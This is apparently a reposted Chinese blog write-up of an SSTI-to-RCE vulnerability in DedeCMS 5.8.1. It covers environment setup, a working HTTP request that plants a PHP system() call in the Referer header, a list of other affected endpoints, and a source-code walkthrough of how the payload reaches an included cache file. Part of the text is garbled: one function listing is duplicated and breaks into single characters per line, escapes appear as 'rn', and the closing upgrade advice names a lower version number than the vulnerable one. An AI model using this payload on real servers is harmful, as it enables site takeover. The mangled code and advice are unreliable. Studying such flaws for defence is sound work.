【安全漏洞】DedeCMS-5.8.1 SSTI模板注入导致RCE

漏洞类型

SSTI RCE

利用条件

影响范围应用

漏洞概述

2021年9月30日,国外安全研究人员Steven Seeley披露了最新的DedeCMS版本中存在的一处SQL注入漏洞以及一处SSTI导致的RCE漏洞,由于SQL注入漏洞利用条件极为苛刻,故这里只对该SSTI注入漏洞进行简要分析复现

漏环境搭建

【技术学习资料】

漏洞复现

这里使用phpstudy来搭建环境
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
网站前台:http://192.168.59.1/index.php?upcache=1
在这里插入图片描述
网站后台: http://192.168.59.1/dede/login.php?gotopa…
在这里插入图片描述

漏洞利用

GET /plus/flink.php?dopost=save HTTP/1.1
Host: 192.168.59.1
Referer: <?php "system"(whoami);die;/*
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=rh4vs9n0m1ihpuguuok4oinerr; _csrf_name_26859a31=736abb4d994bae3b85bba1781e8a50f9; _csrf_name_26859a31__ckMd5=0f32d9d2b18e1390
Connection: close

在这里插入图片描述
类似的URL还有:

/plus/flink.php?dopost=save
/plus/users_products.php?oid=1337     
/plus/download.php?aid=1337
/plus/showphoto.php?aid=1337
/plus/users-do.php?fmdo=sendMail
/plus/posttocar.php?id=1337
/plus/recommend.php

在这里插入图片描述

漏洞分析

漏洞入口位于plus/flink.php文件中,在该文件中如果我们传入的dopost值为save且未传递验证码时,紧接着会去调用ShowMsg函数:
在这里插入图片描述
之后跟踪进入到include/common.func.php文件中的ShowMsg()函数内

/**
 *  短消息函数,可以在某个动作处理后友好的提示信息
 *
 * @param  string $msg       消息提示信息
 * @param  string $gourl     跳转地址
 * @param  int    $onlymsg   仅显示信息
 * @param  int    $limittime 限制时间
 * @return void
 */
function ShowMsg($msg, $gourl, $onlymsg = 0, $limittime = 0)
{
    if (empty($GLOBALS['cfg_plus_dir'])) {
        $GLOBALS['cfg_plus_dir'] = '..';
    }
    if ($gourl == -1) {
        $gourl = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
        if ($gourl == "") {
            $gourl = -1;
        }
    }

    $htmlhead = "
    <html>rn<head>rn<title>DedeCMS提示信息</title>rn
    <meta http-equiv="Content-Type" content="text/html; charset={dede:global.cfg_soft_lang/}" />
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
    <meta name="renderer" content="webkit">
    <meta http-equiv="Cache-Control" content="no-siteapp" />
    <link rel="stylesheet" type="text/css" href="{dede:global.cfg_assets_dir/}/pkg/uikit/css/uikit.min.css" />
    <link rel="stylesheet" type="text/css" href="{dede:global.cfg_assets_dir/}/css/manage.dede.css">
    <base target='_self'/>
    </head>
    <body>
    " . (isset($GLOBALS['ucsynlogin']) ? $GLOBALS['ucsynlogin'] : '') . "
    <center style="width:450px" class="uk-container">

    <div class="uk-card uk-card-small uk-card-default" style="margin-top: 50px;">
        <div class="uk-card-header"  style="height:20px">DedeCMS 提示信息!</div>

    <script>rn";
    $htmlfoot = "
    </script>


    </center>

    <script src="{dede:global.cfg_assets_dir/}/pkg/uikit/js/uikit.min.js"></script>
    <script src="{dede:global.cfg_assets_dir/}/pkg/uikit/js/uikit-icons.min.js"></script>
    </body>rn</html>rn";

    $litime = ($limittime == 0 ? 1000 : $limittime);
    $func = '';

    if ($gourl == '-1') {
        if ($limittime == 0) {
            $litime = 3000;
        }

        $gourl = "javascript:history.go(-1);";
    }

    if ($gourl == '' || $onlymsg == 1) {
        $msg = "<script>alert("" . str_replace(""", "“", $msg) . "");</script>";
    } else {
        //当网址为:close::objname 时, 关闭父框架的id=objname元素
        if (preg_match('/close::/', $gourl)) {
            $tgobj = trim(preg_replace('/close::/', '', $gourl));
            $gourl = 'javascript:;';
            $func .= "window.parent.document.getElementById('{$tgobj}').style.display='none';rn";
        }

        $func .= "var pgo=0;
      function JumpUrl(){
        if(pgo==0){ location='$gourl'; pgo=1; }
      }rn";
        $rmsg = $func;
        $rmsg .= "document.write("<div style='height:130px;font-size:10pt;background:#ffffff'><br />");rn";
        $rmsg .= "document.write("" . str_replace(""", "“", $msg) . "");rn";
        $rmsg .= "document.write("";

        if ($onlymsg == 0) {
            if ($gourl != 'javascript:;' && $gourl != '') {
                $rmsg .= "<br /><a href='{$gourl}'>如果你的浏览器没反应,请点击这里...</a>";
                $rmsg .= "<br/></div>");rn";
                $rmsg .= "setTimeout('JumpUrl()',$litime);";
            } else {
                $rmsg .= "<br/></div>");rn";
            }
        } else {
            $rmsg .= "<br/><br/></div>");rn";
        }
        $msg = $htmlhead . $rmsg . $htmlfoot;
    }
    $tpl = new DedeTemplate();
    $tpl->LoadString($msg);
    $tpl->Display();
}

在这里我们可以看到如果gourl被设置为−1(间接可控),则攻击者可以通过HTTPREFERER控制gourl处变量的值,而该变量未经过滤直接赋值给变量gourl,之后经过一系列的操作之后将gourl与html代码拼接处理后转而调用tpl−>LoadString进行页面渲染操作,之后跟进LoadString可以看到此处的sourceString变量直接由str赋值过来,该变量攻击者可控,之后将其进行一次md5计算,然后设置缓存文件和缓存配置文件名,缓存文件位于datatplcache目录,之后调用ParserTemplate对文件进行解析:
在这里插入图片描述
ParserTemplate如下:

/**
     *  解析模板
     *
     * @access public
     * @return void
     */
    public function ParseTemplate()
    {
        if ($this->makeLoop > 5) {
            return;
        }
        $this->count = -1;
        $this->cTags = array();
        $this->isParse = true;
        $sPos = 0;
        $ePos = 0;
        $tagStartWord = $this->tagStartWord;
        $fullTagEndWord = $this->fullTagEndWord;
        $sTagEndWord = $this->sTagEndWord;
        $tagEndWord = $this->tagEndWord;
        $startWordLen = strlen($tagStartWord);
        $sourceLen = strlen($this->sourceString);
        if ($sourceLen <= ($startWordLen + 3)) {
            return;
        }
        $cAtt = new TagAttributeParse();
        $cAtt->CharToLow = true;

        //遍历模板字符串,请取标记及其属性信息
        $t = 0;
        $preTag = '';
        $tswLen = strlen($tagStartWord);
        @$cAtt->cAttributes->items = array();
        for ($i = 0; $i < $sourceLen; $i++) {
            $ttagName = '';

            //如果不进行此判断,将无法识别相连的两个标记
            if ($i - 1 >= 0) {
                $ss = $i - 1;
            } else {
                $ss = 0;
            }
            $tagPos = strpos($this->sourceString, $tagStartWord, $ss);

            //判断后面是否还有模板标记
            if ($tagPos == 0 && ($sourceLen - $i < $tswLen
                || substr($this->sourceString, $i, $tswLen) != $tagStartWord)
            ) {
                $tagPos = -1;
                break;
            }

            //获取TAG基本信息
            for ($j = $tagPos + $startWordLen; $j < $tagPos + $startWordLen + $this->tagMaxLen; $j++) {
                if (preg_match("/[ >/rnt}.]/", $this->sourceString[$j])) {
                    break;
                } else {
                    $ttagName .= $this->sourceString[$j];
                }
            }
            if ($ttagName != '') {
                $i = $tagPos + $startWordLen;
                $endPos = -1;

                //判断  '/}' '{tag:下一标记开始' '{/tag:标记结束' 谁最靠近
                $fullTagEndWordThis = $fullTagEndWord . $ttagName . $tagEndWord;
                $e1 = strpos($this->sourceString, $sTagEndWord, $i);
                $e2 = strpos($this->sourceString, $tagStartWord, $i);
                $e3 = strpos($this->sourceString, $fullTagEndWordThis, $i);
                $e1 = trim($e1);
                $e2 = trim($e2);
                $e3 = trim($e3);
                $e1 = ($e1 == '' ? '-1' : $e1);
                $e2 = ($e2 == '' ? '-1' : $e2);
                $e3 = ($e3 == '' ? '-1' : $e3);
                if ($e3 == -1) {
                    //不存在'{/tag:标记'
                    $endPos = $e1;
                    $elen = $endPos + strlen($sTagEndWord);
                } else if ($e1 == -1) {
                    //不存在 '/}'
                    $endPos = $e3;
                    $elen = $endPos + strlen($fullTagEndWordThis);
                }

                //同时存在 '/}' 和 '{/tag:标记'
                else {
                    //如果 '/}' 比 '{tag:'、'{/tag:标记' 都要靠近,则认为结束标志是 '/}',否则结束标志为 '{/tag:标记'
                    if ($e1 < $e2 && $e1 < $e3) {
                        $endPos = $e1;
                        $elen = $endPos + strlen($sTagEndWord);
                    } else {
                        $endPos = $e3;
                        $elen = $endPos + strlen($fullTagEndWordThis);
                    }
                }

                //如果找不到结束标记,则认为这个标记存在错误
                if ($endPos == -1) {
                    echo "Tpl Character postion $tagPos, '$ttagName' Error!<br />rn";
                    break;
                }
                $i = $elen;

                //分析所找到的标记位置等信息
                $attStr = '';
                $innerText = '';
                $startInner = 0;
                for ($j = $tagPos + $startWordLen; $j < $endPos; $j++) {
                    if ($startInner == 0) {
                        if ($this->sourceString[$j] == $tagEndWord) {
                            $startInner = 1;
                            continue;
                        } else {
                            $attStr .= $this->sourceString[$j];
                        }
                    } else {
                        $innerText .= $this->sourceString[$j];
                    }
                }
                $ttagName = strtolower($ttagName);

                //if、php标记,把整个属性串视为属性
                if (preg_match("/^if[0-9]{0,}$/", $ttagName)) {
                    $cAtt->cAttributes = new TagAttribute();
                    $cAtt->cAttributes->count = 2;
                    $cAtt->cAttributes->items['tagname'] = $ttagName;
                    $cAtt->cAttributes->items['condition'] = preg_replace("/^if[0-9]{0,}[rnt ]/", "", $attStr);
                    $innerText = preg_replace("/{else}/i", '<' . "?phprn}rnelse{rn" . '?' . '>', $innerText);
                } else if ($ttagName == 'php') {
                    $cAtt->cAttributes = new TagAttribute();
                    $cAtt->cAttributes->count = 2;
                    $cAtt->cAttributes->items['tagname'] = $ttagName;
                    $cAtt->cAttributes->items['code'] = '<' . "?phprn" . trim(
                        preg_replace(
                            "/^php[0-9]{0,}[rnt ]/",
                            "", $attStr
                        )
                    ) . "rn?" . '>';
                } else {
                    //普通标记,解释属性
                    $cAtt->SetSource($attStr);
                }
                $this->count++;
                $cTag = new Tag();
                $cTag->tagName = $ttagName;
                $cTag->startPos = $tagPos;
                $cTag->endPos = $i;
                $cTag->cAtt = $cAtt->cAttributes;
                $cTag->isCompiler = false;
                $cTag->tagID = $this->count;
                $cTag->innerText = $innerText;
                $this->cTags[$this->count] = $cTag;
            } else {
                $i = $tagPos + $startWordLen;
                break;
            }
        } //结束遍历模板字符串
        if ($this->count > -1 && $this->isCompiler) {
            $this->CompilerAll();
        }
    }

之后返回上一级,在这里会紧接着调用Display函数对解析结果进行展示,在这里会调用WriteCache函数
ParserTemplate如下:

/**
* 解析模板
*
* @access public
* @return void
*/
public function ParseTemplate()
{
if ($this->makeLoop > 5) {
return;
}
$this->count = -1;
$this->cTags = array();
$this->isParse = true;
$sPos = 0;
$ePos = 0;
$tagStartWord = $this->tagStartWord;
$fullTagEndWord = $this->fullTagEndWord;
$sTagEndWord = $this->sTagEndWord;
$tagEndWord = $this->tagEndWord;

s

t

a

r

t

W

o

r

d

L

e

n

=

s

t

r

l

e

n

(

startWordLen = strlen(

startWordLen=strlen(tagStartWord);

s

o

u

r

c

e

L

e

n

=

s

t

r

l

e

n

(

sourceLen = strlen(

sourceLen=strlen(this->sourceString);
if (

s

o

u

r

c

e

L

e

n

<

=

(

sourceLen <= (

sourceLen<=(startWordLen + 3)) {
return;
}
$cAtt = new TagAttributeParse();
$cAtt->CharToLow = true;

    //遍历模板字符串,请取标记及其属性信息
    $t = 0;
    $preTag = '';
    $tswLen = strlen($tagStartWord);
    @$cAtt->cAttributes->items = array();
    for ($i = 0; $i < $sourceLen; $i++) {
        $ttagName = '';

        //如果不进行此判断,将无法识别相连的两个标记
        if ($i - 1 >= 0) {
            $ss = $i - 1;
        } else {
            $ss = 0;
        }
        $tagPos = strpos($this->sourceString, $tagStartWord, $ss);

        //判断后面是否还有模板标记
        if ($tagPos == 0 && ($sourceLen - $i < $tswLen
            || substr($this->sourceString, $i, $tswLen) != $tagStartWord)
        ) {
            $tagPos = -1;
            break;
        }

        //获取TAG基本信息
        for ($j = $tagPos + $startWordLen; $j < $tagPos + $startWordLen + $this->tagMaxLen; $j++) {
            if (preg_match("/[ >/rnt}.]/", $this->sourceString[$j])) {
                break;
            } else {
                $ttagName .= $this->sourceString[$j];
            }
        }
        if ($ttagName != '') {
            $i = $tagPos + $startWordLen;
            $endPos = -1;

            //判断  '/}' '{tag:下一标记开始' '{/tag:标记结束' 谁最靠近
            $fullTagEndWordThis = $fullTagEndWord . $ttagName . $tagEndWord;
            $e1 = strpos($this->sourceString, $sTagEndWord, $i);
            $e2 = strpos($this->sourceString, $tagStartWord, $i);
            $e3 = strpos($this->sourceString, $fullTagEndWordThis, $i);
            $e1 = trim($e1);
            $e2 = trim($e2);
            $e3 = trim($e3);
            $e1 = ($e1 == '' ? '-1' : $e1);
            $e2 = ($e2 == '' ? '-1' : $e2);
            $e3 = ($e3 == '' ? '-1' : $e3);
            if ($e3 == -1) {
                //不存在'{/tag:标记'
                $endPos = $e1;
                $elen = $endPos + strlen($sTagEndWord);
            } else if ($e1 == -1) {
                //不存在 '/}'
                $endPos = $e3;
                $elen = $endPos + strlen($fullTagEndWordThis);
            }

            //同时存在 '/}' 和 '{/tag:标记'
            else {
                //如果 '/}' 比 '{tag:'、'{/tag:标记' 都要靠近,则认为结束标志是 '/}',否则结束标志为 '{/tag:标记'
                if ($e1 < $e2 && $e1 < $e3) {
                    $endPos = $e1;
                    $elen = $endPos + strlen($sTagEndWord);
                } else {
                    $endPos = $e3;
                    $elen = $endPos + strlen($fullTagEndWordThis);
                }
            }

            //如果找不到结束标记,则认为这个标记存在错误
            if ($endPos == -1) {
                echo "Tpl Character postion $tagPos, '$ttagName' Error!<br />rn";
                break;
            }
            $i = $elen;

            //分析所找到的标记位置等信息
            $attStr = '';
            $innerText = '';
            $startInner = 0;
            for ($j = $tagPos + $startWordLen; $j < $endPos; $j++) {
                if ($startInner == 0) {
                    if ($this->sourceString[$j] == $tagEndWord) {
                        $startInner = 1;
                        continue;
                    } else {
                        $attStr .= $this->sourceString[$j];
                    }
                } else {
                    $innerText .= $this->sourceString[$j];
                }
            }
            $ttagName = strtolower($ttagName);

            //if、php标记,把整个属性串视为属性
            if (preg_match("/^if[0-9]{0,}$/", $ttagName)) {
                $cAtt->cAttributes = new TagAttribute();
                $cAtt->cAttributes->count = 2;
                $cAtt->cAttributes->items['tagname'] = $ttagName;
                $cAtt->cAttributes->items['condition'] = preg_replace("/^if[0-9]{0,}[rnt ]/", "", $attStr);
                $innerText = preg_replace("/{else}/i", '<' . "?phprn}rnelse{rn" . '?' . '>', $innerText);
            } else if ($ttagName == 'php') {
                $cAtt->cAttributes = new TagAttribute();
                $cAtt->cAttributes->count = 2;
                $cAtt->cAttributes->items['tagname'] = $ttagName;
                $cAtt->cAttributes->items['code'] = '<' . "?phprn" . trim(
                    preg_replace(
                        "/^php[0-9]{0,}[rnt ]/",
                        "", $attStr
                    )
                ) . "rn?" . '>';
            } else {
                //普通标记,解释属性
                $cAtt->SetSource($attStr);
            }
            $this->count++;
            $cTag = new Tag();
            $cTag->tagName = $ttagName;
            $cTag->startPos = $tagPos;
            $cTag->endPos = $i;
            $cTag->cAtt = $cAtt->cAttributes;
            $cTag->isCompiler = false;
            $cTag->tagID = $this->count;
            $cTag->innerText = $innerText;
            $this->cTags[$this->count] = $cTag;
        } else {
            $i = $tagPos + $startWordLen;
            break;
        }
    } //结束遍历模板字符串
    if ($this->count > -1 && $this->isCompiler) {
        $this->CompilerAll();
    }
}

之后返回上一级,在这里会紧接着调用Display函数对解析结果进行展示,在这里会调用WriteCache函数
在这里插入图片描述
在WriteCache函数中写入缓存文件:

在这里插入图片描述
在这里使用GetResult返回值sourceString来设置$result变量,该变量包含攻击者控制的输入数据:

在这里插入图片描述
之后调用CheckDisabledFunctions函数进行检查操作,该函数主要用于检查是否存在被禁止的函数,然后通过token_get_all_nl函数获取输入,然而处理时并没有过滤双引号,存在被绕过的风险,攻击者可以通过将恶意PHP写到临时文件,之后在Display函数处通过include $tpl->CacheFile()将恶意临时文件包含进来从而实现远程代码执行:
在这里插入图片描述

安全建议

目前官方已发布最新版本:DedeCMS V5.7.80 UTF-8正式版,建议升级到该版本

点击获取【网络安全学习资料·攻略

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
下一篇>>